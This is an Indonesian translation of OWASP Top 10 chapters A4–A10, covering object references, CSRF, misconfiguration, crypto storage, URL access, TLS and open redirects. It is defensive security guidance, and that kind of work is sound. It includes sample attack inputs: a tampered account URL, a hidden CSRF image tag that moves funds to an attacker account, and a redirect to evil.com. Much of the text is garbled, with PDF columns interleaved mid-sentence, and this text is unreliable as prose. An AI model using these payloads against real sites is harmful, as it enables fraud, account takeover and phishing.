    • Referensi Obyek Langsung Yang A4 Tidak Aman Vektor Kelemahan Dampak Dampak Agen Serangan Keamanan Teknikal Bisnis Ancaman Dapat Dieksploitasi Keberadaan Dapat Dideteksi Dampak __________ __________ MUDAH UMUM MUDAH SEDANGPertimbangkan jenis Penyerang, yang Aplikasi seringkali menggunakan nama Cacat tersebut Pertimbangkan nilaipengguna pada merupakan atau kunci aktual obyek ketika membuat dapat bisnis data yangsistem anda. pengguna sistem halaman web. Aplikasi tidak selalu mengkompromikan terekspos.Apakah pengguna terotorisasi, cukup memverifikasi apakah pengguna seluruh data yanghanya memiliki merubah nilai terotorisasi untuk obyek target. Hal ini dapat diacu oleh Juga pertimbangkanakses sebagian ke parameter dari berakibat pada cacat referensi obyek parameter. Kecuali dampak bisnisdata sistem? obyek sistem ke langsung yang tidak aman. Penguji dapat ruang nama luas, pengungkapan obyek lainnya yang dengan mudah memanipulasi nilai sangat mudah bagi kerentanan. tidak terotorisasi. parameter untuk medeteksi hal tersebut penyerang Apakah akses dan analisis kode menunjukkan apakah mengakses seluruh diberikan? otorisasi diverifikasi dengan benar. data tipe itu.Apakah Saya Rentan? Bagaimana Saya Mencegah Hal Ini?Cara terbaik untuk mengetahui apakah sebuah aplikasi rentan Mencegah referensi obyek langsung yang tidak amanterhadap referensi obyek langsung yang tidak aman adalah membutuhkan pemilihan metode untuk melindungi obyekdengan memverifikasi bahwa seluruh referensi obyek telah yang dapat diakses setiap pengguna (misal nomor obyek,memiliki pertahanan yang sesuai. Untuk mencapai hal ini, nama file):pertimbangkan: 1. Gunakan referensi obyek tidak langsung per pengguna1. Untuk referensi langsung ke sumber daya yang dibatasi, atau sesi. Hal ini mencegah penyerang langsung aplikasi perlu memverifikasi apakah pengguna berhak mengarah ke sumber daya tidak terotorisasi. Contohnya, mengakses sumber daya yang dimintanya. alih-alih menggunakan kunci database sumber daya, daftar drop down enam sumber daya terotorisasi untuk2. Jika referensi tidak langsung, pemetaan ke referensi pengguna saat ini dapat menggunakan angka 1-6 untuk langsung harus dibatasi ke nilai yang terotorisasi untuk mengindikasikan nilai yang dipilih. Aplikasi harus pengguna saat ini. memetakan hal ini ke kunci database di server. ESAPIReview kode aplikasi dapat dengan cepat memverifikasi OWASP menyertakan pemetaan referensi akses acak danapakah kedua pendekatan diimplementasi dengan aman. terurut yang dapat digunakan pengembang untukPengujian juga efektif mengidentifikasi referensi obyek meniadakan referensi obyek langsung.langsung dan apakah mereka aman. Tool otomatis biasanya 2. Memeriksa akses. Setiap penggunaan referensi obyektidak melihat hal tersebut karena ia tidak dapat mengenali langsung dari sumber tidak terpercaya harusyang butuh perlindungan atau apa yang aman dan tidak. menyertakan pemeriksaan kendali akses untuk memastikan pengguna berhak mengakses obyek.Contoh Skenario Serangan ReferensiAplikasi menggunakan data tidak diverifikasi dalam sebuah OWASPpanggilan SQL yang mengakses informasi akun: • OWASP Top 10-2007 on Insecure Dir Object References String query = "SELECT * FROM accts WHERE account = ?"; • ESAPI Access Reference Map API PreparedStatement pstmt = connection.prepareStatement(query , … ); • ESAPI Access Control API (Lihat AuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction() ) pstmt.setString( 1, request.getparameter("acct")); Untuk kebutuhan kendali akses tambahan, lihat ASVS ResultSet results = pstmt.executeQuery( ); requirements area for Access Control (V4).Penyerang cukup memodifikasi parameter ‘acct’ dibrowsernya untuk mengirim nomor akun apapun yangdiinginkan. Jika tidak diverifikasi, penyerang dapat mengakses Eksternalsembarang akun pengguna, alih-alih hanya akun kustomer • CWE Entry 639 on Insecure Direct Object Referencesyang diinginkan. • CWE Entry 22 on Path Traversal (contoh serangan Referensi Obyek http://example.com/app/accountInfo?acct=notmyacct Langsung)
    • Cross-Site Request Forgery A5 (CSRF) Vektor Kelemahan Dampak Dampak Agen Serangan Keamanan Teknikal Bisnis Ancaman Dapat Dieksploitasi Keberadaan Dapat Dideteksi Dampak __________ __________ RATA-RATA TERSEBAR MUDAH SEDANGPertimbangkan Penyerang CSRF mengambil keuntungan dari aplikasi Penyerang dapat Pertimbangkan nilaisetiap orang yang membuat web yang membolehkan penyerang menyebabkan bisnis data ataudapat menipu permintaan HTTP memprediksi seluruh rincian tindakan korban merubah fungsi aplikasi yangpengguna anda palsu dan menipu tertentu. sembarang data terpengaruh.menyerahkan korban untuk yang dibolehkan Bayangkan apakahpermintaan ke menyerahkannya Karena browsers mengirimkan credential atau melakukan pengguna inginwebsite anda. melalui tag seperi session cookie secara otomatis, tindakan yang melakukan aksiWebsite atau feed gambar, XSS, atau penyerang dapat membuat halaman web terotorisasi untuk tersebut.HTML apapun yang teknik lain. Jika berbahaya yang memalsukan permintaan pengguna.diakses pengguna pengguna yang mirip dengan yang sah. Pertimbangkananda dapat terotentikasi, dampak bagi Deteksi lubang CSRF relatif mudah reputasi anda.melakukan hal ini. serangan sukses. dengan pen test atau analisis kode.Apakah Saya Rentan Ke CSRF? Bagaimana Saya Mencegah CSRF?Cara termudah untuk memeriksa apakah sebuah aplikasi Pencegahan CSRF membutuhkan penyertaan unpredictablerentan adalah dengan melihat apakah setiap link dan form token dalam body atau URL setiap permintaan HTTP. Tokenberisi unpredictable token untuk setiap pengguna. Tanpa tersebut harus unik untuk setiap sesi pengguna, atau jugatoken tersebut, penyerang dapat memalsukan permintaan untuk setiap permintaan.berbahaya. Fokus pada link dan form yang menyertakanfungsi yang berubah sesuai status, karena itu adalah target 1. Opsi yang disukai adalah menyertakan token unik dalamterpenting CSRF. field tersembunyi. Hal ini membuat nilainya dikirim dalam tubuh permintaan HTTP, sehingga tidak ada di dalamAnda harus memeriksa transaksi banyak-langkah, karena URL, yang rentan terekspos.mereka tidak kebal. Penyerang dapat dengan mudahmemalsukan serangkaian permintaan dengan menggunakan 2. Token unik dapat juga disertakan dalam URL, ataubanyak tag atau JavaScript. parameter URL. Namun, penempatan tersebut berisiko karena URL akan terekspos ke penyerang, karenanyaIngat bahwa cookie sesi, alamat IP sumber, dan informasi lain mengungkap token rahasia.yang otomatis dikirim browser, tidak termasuk karenamereka juga disertakan dalam permintaan palsu. CSRF Guard OWASP dapat digunakan untuk secara otomatis menyertakan token semacam itu dalam aplikasi Java EE, .NET,CSRF Tester OWASP dapat membantu membuat uji kasus atau PHP anda. ESAPI OWASP menyertakan token generatorsuntuk mendemonstraksikan bahaya lubang CSRF. dan validator yang dapat digunakan pengembang untuk melindungi transaksi mereka.Contoh Skenario Serangan ReferensiAplikasi membolehkan pengguna menyerahkan permintaan OWASPperubahan status yang tidak menyertakan sesuatu yangbersifat rahasia. Sebagai contoh: • OWASP CSRF Article http://example.com/app/transferFunds?amount=1500 • OWASP CSRF Prevention Cheat Sheet &destinationAccount=4673243243 • OWASP CSRFGuard - CSRF Defense ToolPenyerang dapat membuat permintaan yang akan • ESAPI Project Home Pagementransfer uang dari akun korban ke akunnya, danmemasukkan serangan ini dalam sebuah permintaan image • ESAPI HTTPUtilities Class with AntiCSRF Tokensatau iframe yang disimpan di site dalam kendali penyerang. • OWASP Testing Guide: Chapter on CSRF Testing <img src="http://example.com/app/transferFunds? • OWASP CSRFTester - CSRF Testing Tool amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" /> EksternalJika korban mengunjungi site tersebut ketika sudahterotentikasi ke example.com, maka sembarang permintaan • CWE Entry 352 on CSRFpalsu akan menyertakan info sesi pengguna, danmengotorisasi permintaan.
    • A6 Kesalahan Konfigurasi Keamanan Vektor Kelemahan Dampak Dampak Agen Serangan Keamanan Teknikal Bisnis Ancaman Dapat Dieksploitasi Keberadaan Dapat Dideteksi Dampak __________ __________ MUDAH UMUM MUDAH SEDANGPertimbangkan Penyerang Kesalahan konfigurasi keamanan dapat Cacat ini seringkali Sistem dapatpenyerang mengakses akun terjadi pada setiap tingkatan aplikasi, memberi penyerang dikompromi tanpaeksternal anonim baku, halaman tidak termasuk platform, server web, server akses ke data atau anda ketahui.dan juga pengguna dipakai, cacat yang aplikasi, framework, dan kode kustom. fungsionalitas Seluruh data dapatdengan akunnya belum di-patch, file Pengembang dan admin jaringanan perlu sistem atau. dicuri atauyang berusaha dan direktori yang bekerja sama untuk memastikan bahwa Terkadang dimodifikasimenyusupi sistem. tidak terlindungi, seluruh tingkatan telah dikonfigurasi berakibat perlahan-lahan.Pertimbangkan juga dsb. Untuk dengan tepat. Scanner otomatis berguna terkomprominyainsider yang ingin memperoleh akses untuk mendeteksi patch yang hilang, sistem secara utuh. Biaya pemulihanmenutupi tidak terotorisasi kesalahan konfigurasi, akun baku, layanan dapat sangat mahal.tindakannya. atau pengetahuan yang tidak diperlukan, dsb. sistem.Apakah Saya Rentan? Bagaimana Saya Mencegah Hal Ini?Apakah anda telah melakukan pengetatan keamanan yang Rekomendasi utama adalah melakukan hal berikut:tepat di seluruh lapisan aplikasi ? 1. Proses pengetatan berulang yang membuat cepat dan1. Apakah anda memiliki proses untuk membuat seluruh mudah mendeploy lingkungan lain yang telah dikunci. software up to date? Termasuk OS, Server Web/App, Lingkungan pengembangan, QA, dan produksi DBMS, aplikasi, dan seluruh pustaka kode. seharusnya dikonfigurasi secara identik. Proses ini seharusnya otomatis untuk meminimalkan usaha yang2. Apakah yang tidak perlu telah di-disable, dihapus, atau dibutuhkan untuk mensetup lingkungan baru yang aman. diuninstall (contoh:port,layanan,page,akun, privileges)? 2. Proses untuk memudahkan update dan men-deploy3. Apakah password baku telah diubah atau di-disable? seluruh software update dan patch secara cepat ke4. Apakah penanganan kesalahan diset untuk mencegah lingkungan. Hal ini perlu mencakup juga seluruh pustaka stack traces dan pesan kesalahan informatif bocor? kode, yang seringkali diabaikan.5. Apakah seting keamanan dalam pustaka dan framework 3. Arsitektur aplikasi yang kuat yang menyediakan pengembangan (misal Struts, Spring, ASP.NET) telah pemisahan dan keamanan yang tegas antar komponen. dipahami dan dikonfigurasi? 4. Pertimbangkan menjalankan scan dan melakukan auditProses menyeluruh dan berulang dibutuhkan untuk secara periodik untuk membantu mendeteksi kesalahanmemelihara konfigurasi keamanan yang tepat. konfigurasi atau patch yang hilang di masa mendatang.Contoh Skenario Serangan ReferensiSkenario #1: Aplikasi anda bergantung pada framework yang OWASPpowerful seperti Struts atau Spring. Cacat XSS ditemukandalam komponen framework ini. Update telah dirilis untuk • OWASP Development Guide: Chapter on Configurationmemperbaikinya namun anda tidak mengupdate librar. • OWASP Code Review Guide: Chapter on Error HandlingPenyerang dapat dengan mudah menemukan danmengeksploitasi cacat ini. • OWASP Testing Guide: Configuration ManagementSkenario #2: Konsol admin server aplikasi terinstalasi • OWASP Testing Guide: Testing for Error Codesotomatis dan tidak dibuang. Akun baku tidak diubah.Penyerang menemukan page admin, login dengan password • OWASP Top 10 2004 - Insecure Configuration Managementbaku, lalu mengambil alih. Untuk persyaratan tambahan, lihat ASVS requirements areaSkenario #3: Listing direktori tidak ditiadakan. Penyerang. for Security Configuration (V12).Penyerang mencari dan mendownload seluruh class Java, Eksternalyang lalu dikembalikan untuk memperoleh kode sumber. Iakemudian menemukan cacat kendali dalam aplikasi. • PC Magazine Article on Web Server HardeningSkenario #4: Konfigurasi App server memberikan stack traces • CWE Entry 2 on Environmental Security Flawske pengguna, mengekspos cacat potensial. Penyerangmenyukai informasi tambahan ini. • CIS Security Configuration Guides/Benchmarks
    • Penyimpanan Kriptografi Yang A7 Tidak Aman Vektor Kelemahan Dampak Dampak Agen Serangan Keamanan Teknikal Bisnis Ancaman Dapat Dieksploitasi Keberadaan Dapat Dideteksi Dampak __________ __________ SUKAR TIDAK UMUM SUKAR PARAHPertimbangkan Penyerang biasanya Cacat yang paling umum di area ini adalah Kegagalan seringkali Pertimbangkan nilaipengguna sistem tidak membongkar tidak mengenkripsi data yang patut mengkompromikan bisnis data hilanganda. Apakah crypto. Mereka dienkripsi. Ketika menggunakan enkripsi, seluruh data yang dan dampaknyamereka ingin membongkar yang pembuatan kunci dan penyimpanan tidak seharusnya bagi reputasi anda.memperoleh akses lain seperti mencari aman, tidak merotasi kunci, dan algoritma dienkripsi. Apa tanggungjawabke data terlindungi kunci, memperoleh lemah adalah umum. Hash lemah dan Umumnya informasi legal anda bila datayang tidak salinan data, atau tidak di-salt juga umum. Penyerang ini mencakup terpapar? Jugaterotorisasi bagi akses data via eksternal sulit menemukan cacat itu catatan kesehatan, pertimbangkanmereka? Bagaimana saluran yang karena akses terbatas.Mereka biasanya credential, data kerugian bagidengan terbuka. harus mengeksploitasi yang lain untuk personal, kartu reputasi anda.administrator memperoleh akses yang diinginkan. kredit, dsb.internal?Apakah Saya Rentan? Bagaimana Saya Mencegah Hal Ini?Hal pertama yang perlu dilakukan adalah menentukan data Dampak lengkap kriptografi yang tidak aman di luar lingkupsensitif yang perlu dienkripsi. Sebagai contoh, password, Top 10 ini. Namun secara minimum lakukan hal ini untukkartu kredit, catatan kesehatan, dan informasi personalharus seluruh data sensitif yang butuh enkripsi:dienkripsi. Untuk seluruh data itu, pastikan: 1. Pertimbangkan ancaman atas data ini (misal serangan1. Ia dienkripsi di manapun ia disimpan dalam jangka insider, pengguna eksternal), pastikan anda mengenkripsi panjang, terutama dalam backup data. seluruh data at rest yang akan melindungi dari ancaman ini.2. Hanya pengguna berhak dapat mengakses salinan data yang tidak terenkripsi (misalnya kendali akses – lihat A4 2. Pastikan backup offsite dienkripsi, namun kuncinya dan A8). dikelola dan dibackup secara terpisah.3. Digunakan algoritma enkripsi standar yang kuat. 3. Pastikan penggunaan algoritma standar yang kuat, dan lakukan manajemen kunci.4. Kunci kuat dibuat, dilindungi dari akses tidak terotorisasi, dan perubahan kunci direncanakan.. 4. Pastikan password di-hash dengan algoritma standar yang kuat dan gunakan salt yang tepat.Dan banyak lagi. Untuk daftar lengkap masalah yang harusdihindari, lihat ASVS requirements on Cryptography (V7) 5. Pastikan seluruh kunci dan password terlindungi dari akses tidak terotorisasi.Contoh Skenario Serangan ReferensiSkenario #1: Aplikasi mengenkripsi kartu kredit dalam OWASPdatabase untuk mencegah paparan ke end pengguna.Namun, database diset untuk secara otomatis mendekripsi Untuk persyaratan dan masalah yang harus dihindari yangquery atas kolom kartu kredit, memungkinkan cacat SQL lebih lengkap, lihat ASVS requirements on Cryptography (V7).injection memperoleh seluruh kartu kredit dalam cleartext. • OWASP Top 10-2007 on Insecure Cryptographic StorageSistem seharusnya dikonfigurasi untuk hanya membolehkanaplikasi back-end mendekripsinya, bukan aplikasi front-end. • ESAPI Encryptor APISkenario #2: Tape backup terdiri dari catatan kesehatan • OWASP Development Guide: Chapter on Cryptographyterenkripsi, namun kunci enkripsi berada pada backup yang • OWASP Code Review Guide: Chapter on Cryptographysama. Tape tidak pernah tiba pada pusat backup. EksternalSkenario #3: Database password menggunakan hash yangtidak di-salt untuk menyimpan password setiap orang. Cacat • CWE Entry 310 on Cryptographic Issuesfile upload memungkinkan penyerang memperoleh file • CWE Entry 312 on Cleartext Storage of Sensitive Informationpassword. Seluruh hash dapat di-brute forced dalam 4minggu, sementara hash yang di-salt membutuhkan waktu • CWE Entry 326 on Weak Encryptionlebih dari 3000 tahun.
    • Kegagalan untuk Membatasi A8 Akses URL Vektor Kelemahan Dampak Dampak Agen Serangan keamanan Teknikal Bisnis Ancaman Dapat Dieksploitasi Keberadaan Dapat Dideteksi Dampak __________ __________ MUDAH TIDAK UMUM RATA-RATA SEDANGSetiap orang yang Penyerang, yaitu Aplikasi tidak selalu melindungi permintaan Cacat tersebut Pertimbangkan nilaimemiliki akses ke pengguna yang atas halaman tertentu secara memadai. memungkinkan bisnis fungsi –fungsijaringan dapat memiliki otoritas atas Kadang-kadang, perlindungan URL dikelola penyerang mengakses yang terekspos danmengirim permintaan sistem, dengan melalui konfigurasi, dan sistem tersebut salah fungsionalitas yang data yang merekake aplikasi Anda. mudah mengubah konfigurasi. Terkadang pengembang tidak terotorisasi. proses.Dapatkah pengguna URL ke halaman seharusnya menyertakan pemeriksaan kode Fungsi-fungsiyang tidak dikenal dengan hak khusus. yang tepat, tetapi mereka lupa. administratif Pertimbangkan jugamengakses halaman Apakah akses merupakan target dampaknya terhadapprivat, atau pengguna diberikan? Pengguna Mendeteksi cacat yang demikian itu mudah. kunci untuk serangan reputasi Anda apabilabiasa mengakses yang tidak dikenal Bagian yang paling sulit adalah jenis ini. kerentanan inihalaman dengan hak dapat mengakses mengidentifikasi halaman (URL) mana yang diketahui publik.khusus? halaman privat yang dapat diserang. tidak dilindungi.Apakah Saya Rentan? Bagaimana Saya Mencegah Hal Ini?Cara terbaik untuk mengetahui apakah suatu aplikasi gagal Pencegahan akses URL tidak terotorisasi membutuhkan pemilihanmembatasi URL dengan tepat ialah dengan memverifikasi setiap pendekatan untuk mensyaratkan otentikasi dan otorisasi yang tepathalaman. Untuk setiap halaman, pertimbangkan apakah halaman bagi setiap halaman. Seringkali, perlindungan yang demikiantersebut semestinya publik atau privat. Apabila halaman tersebut disediakan oleh satu atau lebih komponen eksternal kode aplikasi.privat, pertimbangkan: Terlepas dari mekasnismenya, semua hal berikut direkomendasikan:1. Apakah diperlukan otentikasi untuk mengakses halaman 1. Kebijakan otentikasi dan otorisasi dibuat berbasis-peran, untuk tersebut? meminimalisasi upaya yang dibutuhkan untuk memelihara kebijakan tersebut.2. Apakah halaman tersebut seharusnya dapat diakses oleh SETIAP pengguna yang terotentikasi? Jika tidak, apakah telah 2. Kebijakan tersebut harus sangat dapat dikonfigurasi, dalam dibuat pemeriksaan otorisasi untuk memastikan bahwa rangka meminimalisasi berbagai aspek hard code kebijakan itu. pengguna tersebut memiliki izin untuk mengakses halaman itu. 3. Mekanisme penegakan kebijakan harus secara baku menolakMekanisme keamanan eksternal sering menyediakan pemeriksaan semua akses, mensyaratkan dikabulkannya secara eksplisitotentikasi dan otorisasi untuk pengaksesan halaman. Periksa pemberian akses pada pengguna dan peran tertentu ke setiapmekanisme tersebut telah dikonfigurasi dengan tepat untuk setiap halaman.halaman. Apabila digunakan perlindungan level kode, periksalahperlindungan pada level kode tersebut telah tersedia pada setiap 4. Jika halaman tersebut sedang terlibat dalam suatu alur kerja,halaman yang membutuhkan. Uji penetrasi juga dapat periksa untuk memastikan bahwa kondisi-kondisinya ada dalammemverifikasi apakah telah tersedia perlindungan yang sesuai. keadaan yang tepat untuk memperkenankan akses.Contoh Skenario Serangan ReferensiSi penyerang memaksa browsing ke URL target. Kedua URL berikut OWASPseharusnya memerlukan otentikasi. Kewenangan sebagai adminjuga diperlukan untuk mengakses halaman “admin_getappInfo”. • OWASP Top 10-2007 on Failure to Restrict URL Access http://example.com/app/getappInfo • ESAPI Access Control API http://example.com/app/admin_getappInfo • OWASP Development Guide: Chapter on AuthorizationJika penyerang tidak diotentikasi, dan akses pada salah satu halamantersebut diberikan, berarti akses tanpa kewenangan telah • OWASP Testing Guide: Testing for Path Traversaldiperkenankan. Jika pengguna non-admin yang telah diotentikasi • OWASP Article on Forced Browsingdiperbolehkan mengakses halaman “admin_getappInfo”, maka inimerupakan suatu cacat, dan dapat mengarahkan penyerang ke Untuk tambahan persyaratan-persyaratan kontrol akses, lihat ASVShalaman admin yang lebih tidak terlindungi. requirements area for Access Control (V4).Cacat yang demikian seringkali muncul ketika links dan tombol- Eksternaltombol tidak ditampilkan pada pengguna yang tidak berhak, namunaplikasi gagal melindungi halaman yang mereka tuju. • CWE Entry 285 on Improper Access Control (Authorization)
    • Perlindungan yang Tidak Cukup pada A9 Layer Transport Vektor Attack Security Kelemahan Technical Dampak Business Dampak Agen Serangan Vectors Weakness keamanan Teknikal Impacts Impacts Bisnis Ancaman Dapat Dieksploitasi Keberadaan Dapat Dideteksi Dampak __________ __________ SUKAR UMUM MUDAH SEDANGPertimbangkan semua Memantau lalu-lintas Aplikasi seringkali tidak melindungi lalu-lintas Cacat ini mengekspos Pertimbangkan nilaiorang yang dapat jaringan pengguna jaringan. Mereka mungkin menggunakan data pengguna bisnis data yangmemonitor lalu lintas boleh jadi sulit, tetapi SSL/TLS selama otentikasi, tetapi tidak di perorangan dan dapat diekspos dalam kanaljaringan para kadang juga mudah. tempat lain, mengekspos data dan session ID mengarah pada komunikasi dalam halpengguna Anda. Jika Kesulitan utama untuk penyadapan. Sertifikat yang sudah pencurian akun. Jika kebutuhanaplikasi ada di terletak pada kadaluarsa atau dikonfigurasi dengan tidak akun admin yang kerahasiaan danInternet, tidak ada pemantauan lalu tepat juga mungkin digunakan. tercuri, maka seluruh integritasnya, danyang tahu bagaimana lintas jaringan yang situs dapat terekspos. kebutuhan untukpengguna Anda tepat sementara Mendeteksi cacat dasar adalah mudah. Setup SSL yang buruk melakukan otentikasimengaksesnya. pengguna mengakses Perhatikan saja lalu lintas jaringan situs juga dapat kedua partisipan.Jangan lupa situs yang rentan. tersebut. Cacat yang lebih rumit memerlukan memfasilitasiperhatikan koneksi inspeksi rancangan aplikasi dan konfigurasi serangan phishingback-end. server. atau MITM.Apakah Saya Rentan? Bagaimana Saya Mencegah Hal Ini?Cara terbaik untuk mengetahui apakah suatu aplikasi memiliki Penyediaan perlindungan yang tepat pada layer transport dapatperlindungan yang tidak cukup pada layer transport adalah dengan mempengaruhi rancangan situs. Hal yang paling mudah adalahmemverifikasi hal-hal berikut. dengan menggunakan SSL di seluruh situs. Untuk alasan kinerja, beberapa situs hanya menggunakan SSL pada halaman privat. Yang1. SSL digunakan untuk melindungi semua lalu-lintas yang lain menggunakan SSL hanya pada halaman yang kritikal, tapi ini berhubungan dengan kegiatan otentikasi. dapat mengekspos session ID dan data sensitif lainnya.2. SSL digunakan pada semua halaman dan layanan privat. Hal ini Hal minimum yang perlu dilakukan adalah sebagai berikut. melindungi data dan session token yang dipertukarkan. SSL campuran pada satu halaman harus dihindari karena dapat 1. Wajibkan SSL pada semua halaman sensitif. Semua request menyebabkan peringatan bagi pengguna di browser, dan dapat non-SSL untuk halaman ini harus dialihkan ke halaman SSL. mengekspos session ID pengguna . 2. Set penanda aman (secure flag) pada semua cookies yang3. Hanya mendukung algoritma yang kuat. sensitif.4. Semua session cookies memiliki secure flag yang diset, sehingga 3. Konfigurasi penyedia SSL Anda untuk hanya mendukung browser tidak pernah mengirim session cookies dalam bentuk algoritma-algoritma yang kuat (misal, FIPS 140-2 compliant). tidak dienkripsi. 4. Pastikan sertifikat Anda valid, tidak kadaluarsa, tidak dicabut,5. Sertifikat server sah dan dikonfigurasi dengan benar untuk dan cocok dengan semua domain yang digunakan oleh situs. server tersebut. Hal ini berarti sertifikat diterbitkan oleh 5. Koneksi back-end dan koneksi yang lain juga harus penerbit yang berwenang, tidak kadaluarsa, tidak dicabut, dan menggunakan SSL atau teknologi enkripsi lainnya. cocok dengan semua domain yang digunakan oleh situs.Contoh Skenario Serangan ReferensiSkenario #1: Suatu situs tidak menggunakan SSL pada halaman yg OWASPmemerlukan otentikasi. Penyerang dgn mudah memonitor lalu-lintas jaringan, dan mengobservasi session cookie korban yg telah Untuk informasi lebih lengkap mengenai persyaratan danterotentikasi. Penyerang kemudian mengulang cookie ini dan permasalahan yang harus dihindari di area ini, lihat ASVSmengambil alih sesi pengguna. requirements on Communications Security (V10).Skenario #2: Suatu situs memiliki sertifikat SSL yg tidak • OWASP Transport Layer Protection Cheat Sheetterkonfigurasi dgn tepat sehingga menampilkan peringatan di • OWASP Top 10-2007 on Insecure Communicationsbrowser. Pengguna tetap melanjutkan agar dapat menggunakansitus tersebut. Serangan phishing ke pelanggan situs itu dapat • OWASP Development Guide: Chapter on Cryptographymemancing mereka ke situs yg terlihat serupa namun dengan • OWASP Testing Guide: Chapter on SSL/TLS Testingsertifikat invalid, yg akan menampilkan peringatan. Karena korbantelah terbiasa dgn peringatan semacam itu, mereka terus Eksternalmenggunakan situs phishing, memberikan password atau data privatlainnya. • CWE Entry 319 on Cleartext Transmission of Sensitive InformationSkenario #3: Suatu situs menggunakan ODBC/JDBC standar untuk • SSL Labs Server Testkoneksi database, tanpa menyadari lalu-lintasnya tidak dienkripsi. • Definition of FIPS 140-2 Cryptographic Standard
    • Redirects dan Forwards yang A10 Tidak Divalidasi Vektor Kelemahan Dampak Dampak Agen Serangan keamanan Teknikal Bisnis Ancaman Dapat Dieksploitasi Keberadaan Dapat Dideteksi Dampak __________ __________ RATA-RATA TIDAK UMUM MUDAH SEDANGPertimbangkan semua Penyerang Aplikasi seringkali mengarahkan (redirect) Pengarahan semacam Pertimbangkan nilaiorang yang dapat mengaitkan ke pengguna ke halaman lain, atau menggunakan ini dapat berusaha bisnismengelabui pengguna pengalihan yang tidak internal forwards dengan cara yang serupa. menginstalasi mempertahankanAnda untuk divalidasi dan Kadangkala, halaman target dispesifikasikan malware atau kepercayaanmengirimkan request mengelabui korban dalam parameter yang tidak divalidasi, mengelabui korban pengguna.ke website Anda. untuk mengkliknya. sehingga memperkenankan penyerang untuk menyingkapSetiap website atau Korban sangat memilih halaman tujuan. password atau Bagaimana jikaHTML feed lainnya mungkin mengkliknya, informasi sensitif mereka dikuasai olehyang digunakan oleh sebab link tersebut ke Mendeteksi pengarahan (redirect) yang tidak lainnya. malware?pengguna Anda dapat situs yang valid. diperiksa adalah hal mudah. Carilah pengarahan tempat Anda dapat menentukan Penerusan yang tidak Bagaimana jikamelakukan hal ini. Penyerang mengarah penyerang dapat ke penerusan URL-nya. Penerusan (forward) yang tidak aman dapat diperiksa lebih sulit dideteksi, karena mereka memungkinkan mengakses fungsi- (forward) yang tidak fungsi yang aman untuk mem- menyasar halaman-halaman internal. bypass kendali akses. diperuntukkan hanya bypass pemeriksaan untuk kalangan keamanan. internal?Apakah Saya Rentan? Bagaimana Saya Mencegah Hal Ini?Cara terbaik untuk mengetahui apakah suatu aplikasi mengandung Penggunaan redirects dan forwards yang aman dapat dilakukanredirect atau forward yang tidak divalidasi ialah: dengan berbagai cara:1. Mereview kode untuk semua redirect atau forward (disebut 1. Hindari penggunaan redirects dan forwards. transfer dalam .NET). Untuk setiap penggunaan, identifikasi jika 2. Jika digunakan, jangan libatkan parameter pengguna dalam target URL disertakan dalam setiap nilai parameter. Jika menghitung tujuan. Hal ini dapat dilakukan. demikian, pastikan parameter divalidasi agar hanya berisi 3. Jika parameter tujuan tidak dapat dihindari, pastikan nilai yang tujuan yang diperkenankan atau elemen tujuan. diberikan valid dan terotorisasi untuk pengguna.2. Juga, susuri situs untuk melihat apakah ia menghasilkan Direkomendasikan agar setiap parameter tujuan berupa nilai pemetaan, daripada URL aktual atau bagian dari URL, dan berbagai redirect (HTTP response codes 300-307, biasanya bahwa kode di sisi server menerjemahkan pemetaan ini ke URL 302). Lihat parameter yang diberikan sebelum redirect untuk target. melihat apakah ia muncul sebagai target URL atau bagian dari Aplikasi dapat menggunakan ESAPI untuk meng-override URL. Jika demikian, ubah URL target dan cek apakah situs metode sendRedirect() untuk memastikan semua tujuan tersebut mengarah ke target baru. redirects aman.3. Jika kode tidak tersedia, cek setiap parameter untuk melihat Cacat semacam ini sangatlah penting untuk dihindari karena merupakan target favorit pelaku phishing untuk memperoleh apakah mereka tampak seperti bagian dari redirector atau kepercayaan pengguna. forward URL tujuan dan uji mereka yang melakukan hal itu. Contoh Skenario Serangan ReferensiSkenario #1: Aplikasi memiliki halaman “redirect.jsp” yang OWASPmenerima parameter tunggal bernama “url”. Penyerang membuatURL berbahaya yang mengarahkan pengguna ke situs yang • OWASP Article on Open Redirectsmelakukan phishing dan menginstalasi malware. http://www.example.com/redirect.jsp?url=evil.com • ESAPI SecurityWrapperResponse sendRedirect() methodSkenario #2: Aplikasi menggunakan penerusan untuk membuat rute Eksternalrequest antar bagian yang berbeda dari suatu situs. Untukmemfasilitasi hal ini, beberapa halaman menggunakan parameter • CWE Entry 601 on Open Redirectsuntuk mengindikasikan ke mana pengguna harus dikirim jikatransaksi berhasil. Dalam kasus ini, penyerang membuat URL yang • WASC Article on URL Redirector Abuseakan melewati pemeriksaan kendali akses aplikasi dan kemudianmeneruskan penyerang ke suatu fungsi administratif yang tidak akan • Google blog article on the dangers of open redirectsdapat diaksesnya dalam kondisi normal.http://www.example.com/boring.jsp?fwd=admin.jsp
    • Selanjutnya Apa untuk Para +D PengembangTetapkan dan Gunakan Satu Set Penuh Kendali Keamanan UmumTerlepas dari apakah anda masih baru mengenal keamanan aplikasi web atau sudah sangat familiar dengan risiko-risiko ini, tugasuntuk menghasilkan aplikasi web yang aman atau memperbaiki aplikasi yang sudah ada, bisa jadi sulit. Jika Anda harus mengelolaportofolio aplikasi yang besar, hal ini bisa jadi mengecilkan hati.Tersedia Banyak Sumber Daya OWASP Gratis dan TerbukaUntuk membantu organisasi-organisasi dan para pengembang mengurangi risiko keamanan aplikasi mereka dengan biaya yangefektif, OWASP telah menghasilkan berbagai sumber daya gratis dan terbuka yang dapat digunakan untuk menangani keamananaplikasi di organisasi anda. Berikut ini adalah beberapa sumber daya yang telah dihasilkan OWASP untuk membantu berbagaiorganisasi menghasilkan aplikasi-aplikasi web yang aman. Pada halaman selanjutnya, kami menampilkan sumber daya tambahanOWASP yang dapat membantu organisasi-organisasi tersebut dalam memverifikasi keamanan aplikasi mereka. •Untuk menghasilkan aplikasi web yang aman, anda harus mendefinisikan apa arti “aman” untuk Persyaratan aplikasi tersebut. OWASP merekomendasikan anda menggunakan Application Security Keamanan Verification Standard (ASVS) sebagai suatu petunjuk untuk mengatur persyaratan keamanan Aplikasi aplikasi anda. Apabila anda melakukan outsource, pertimbangkan OWASP Secure Software Contract Annex. Arsitektur •Daripada menyesuaikan kembali keamanan ke dalam aplikasi Anda, akan jauh lebih efektif biaya Keamanan untuk merancang keamanan sejak awal. OWASP merekomendasikan OWASP Developer’s Guide Aplikasi sebagai titik awal yang baik tentang bagaimana merancang keamanan sejak awal. •Membangun kendali keamanan yang kuat dan dapat digunakan sangatlah sulit. Menyediakan sejumlah standar kendali keamanan bagi para 